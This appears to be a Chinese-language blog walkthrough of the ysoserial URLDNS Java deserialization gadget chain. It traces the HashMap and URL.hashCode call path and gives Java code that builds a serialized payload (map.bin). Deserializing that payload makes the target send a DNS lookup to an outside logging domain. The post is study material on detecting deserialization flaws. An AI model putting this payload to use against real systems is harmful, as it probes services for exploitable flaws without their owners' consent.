ysoserial 根据不同的利用链生成命令可控的序列化数据
HashMap调用put触发DNS请求分析 首先我们编写一个hashmap
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.javasec.gadget;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class urldns { public static void main (String[]args) throws MalformedURLException { URL url1 = new URL ("https://1111.kngfrhti.requestrepo.com" ); HashMap<Object, Object> map = new HashMap <>(); map.put(url1, "xxx" ); } }
仅仅只是做一个put url1对象的操作,运行后,发现直接就发起了DNS请求
我们跟进一下为什么
跟进HashMap.put,第一个参数传入Java.net.URL对象url1
put方法接收第一个参数key,即Java.net.URL对象,把他传入hash(key)
跟进hash,key不为null则调用key.hashCode()
key是Java.net.URL对象,于是跟进Java.net.URL.hashCode
hashCode不为-1则 hashCode = handler.hashCode(this); this是我们的对象url1
把”https://1111.kngfrhti.requestrepo.com"传入handler.hashCode(),继续跟进handler.hashCode
跟进,找到了getByName触发dns请求的方法
URLDNS链 既然是反序列化,那么就看HashMap类的readobject,因为反序列化时,触发dns请求的入口方法一定是HashMap类的readobject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); float lf = fields.get("loadFactor" , 0.75f ); if (lf <= 0 || Float.isNaN(lf)) throw new InvalidObjectException ("Illegal load factor: " + lf); lf = Math.clamp(lf, 0.25f , 4.0f ); HashMap.UnsafeHolder.putLoadFactor(this , lf); reinitialize(); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) { throw new InvalidObjectException ("Illegal mappings count: " + mappings); } else if (mappings == 0 ) { } else if (mappings > 0 ) { double dc = Math.ceil(mappings / (double )lf); int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (dc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )dc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
可以看到后面这行 putVal(hash(key), key, value, false, false),调用了hash方法,我们跟进
然后调用URL类的hashCode方法
然后是java net.URLStreamHandler.hashCode,跟进,调用java net.URLStreamHandler.getHostAddress
再跟进,调用InetAddress.getByName,触发dns请求
于是我们编写demo,验证urldns链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.javasec.gadget;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class urldns { public static void main (String[]args) throws IOException, ClassNotFoundException { URL url1 = new URL ("http://URLDNS.25e29b290c.ddns.1433.eu.org" ); HashMap<Object, Object> map = new HashMap <>(); System.out.println("开始Put" ); map.put(url1, "xxx" ); System.out.println("Put结束" ); ObjectOutputStream oos= new ObjectOutputStream (new FileOutputStream ("map.bin" )); oos.writeObject(map); System.out.println("开始反序列化" ); unser.test(); System.out.println("反序列化结束" ); } }
先注释反序列化的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.javasec.gadget;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class urldns { public static void main (String[]args) throws IOException, ClassNotFoundException { URL url1 = new URL ("http://FromPut.25e29b290c.ddns.1433.eu.org" ); HashMap<Object, Object> map = new HashMap <>(); System.out.println("开始Put" ); map.put(url1, "xxx" ); System.out.println("Put结束" ); ObjectOutputStream oos= new ObjectOutputStream (new FileOutputStream ("map.bin" )); oos.writeObject(map); } }
运行发现
直接就触发了一次dns请求,但我们上面已经分析了put的调用流程,面对这就不会感到奇怪,因为单独只调用hashmap.put本来就会触发一次dns请求,上面已经分析过
接下来我们提供反序列化来触发dns请求,取消代码注释
按道理来说,应该出现两个dns请求对吧?一个来自put,第二个才是反序列化触发的
但是很奇怪的是这里只有一次名为test的dns记录,到底是put触发的还是反序列化触发的呢?于是我们调试跟进分析下为什么
在关键位置下断,断住之后,这里步出后会发起dns请求,此时是put调用触发的
h返回171643618
然后运行到URL.hashCode返回-1后,传入URLStreamHandler
注意看这段逻辑
进入if判断,如果URL.hashCode不等于-1,则直接返回URL.hashCode
如果URL.hashCode=-1才会进入URLStreamHandler.handler.hashCode,才会触发DNS
我们添加一些调试信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.javasec.urldns;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class Main { public static void main (String[]args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URL url1 = new URL ("http://1.25e29b290c.ddns.1433.eu.org" ); HashMap<Object, Object> map = new HashMap <>(); Field hashCodeField = url1.getClass().getDeclaredField("hashCode" ); hashCodeField.setAccessible(true ); System.out.println("Put之前--URL.hashCode:" +hashCodeField.get(url1)); map.put(url1, "xxx" ); System.out.println("Put之后--URL.hashCode:" +hashCodeField.get(url1)); ObjectOutputStream oos= new ObjectOutputStream (new FileOutputStream ("map.bin" )); oos.writeObject(map); System.out.println("反序列化之前--URL.hashCode:" +hashCodeField.get(url1)); unser.test(); System.out.println("反序列化之后--URL.hashCode:" +hashCodeField.get(url1)); } }
运行后触发一次DNS请求
可以看到put之前URL.hashCode=-1,于是才会进入URLStreamHandler.handler.hashCode,才会触发DNS
put之后URL.hashCode没有被还原为-1,而是171643618,于是当反序列化到达这里时直接就走了if分支,不再触发DNS,也就失去了URLDNS回显探测链的作用。怎么办呢?
我们只需要排除put触发的dns请求的干扰的前提下,再保证反序列化时能正常触发dns请求就行了
于是我们通过反射修改hashCode,在put之前修改为非-1,排除put发起dns请求的干扰
hashCodeField.set(url1,0) 设置的是内存中 URL 对象的 hashCode,但序列化时保存的是这个计算好的值。反序列化创建新对象时,HashMap 直接使用序列化时保存的 hashCode,不会重新计算。
正确的流程应该是:
put 前设置 hashCode 为非 -1(避免立即 DNS)
put 操作
序列化前重置 hashCode 为 -1
序列化保存的是”需要重新计算 hashCode”的状态
反序列化时 HashMap 会调用 hashCode() 方法触发 DNS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package org.javasec.urldns;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception { URL url1 = new URL ("http://urldns-test.25e29b290c.ddns.1433.eu.org" ); HashMap<Object, Object> map = new HashMap <>(); Field hashCodeField = URL.class.getDeclaredField("hashCode" ); hashCodeField.setAccessible(true ); System.out.println("初始 URL.hashCode: " + hashCodeField.get(url1)); hashCodeField.set(url1, 1234 ); System.out.println("设置后 URL.hashCode: " + hashCodeField.get(url1)); map.put(url1, "xxx" ); System.out.println("Put之后 URL.hashCode: " + hashCodeField.get(url1)); hashCodeField.set(url1, -1 ); System.out.println("序列化前 URL.hashCode: " + hashCodeField.get(url1)); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("map.bin" )); oos.writeObject(map); oos.close(); System.out.println("序列化完成" ); System.out.println("反序列化前 URL.hashCode: " + hashCodeField.get(url1)); unser.test(); System.out.println("反序列化后 URL.hashCode: " + hashCodeField.get(url1)); } }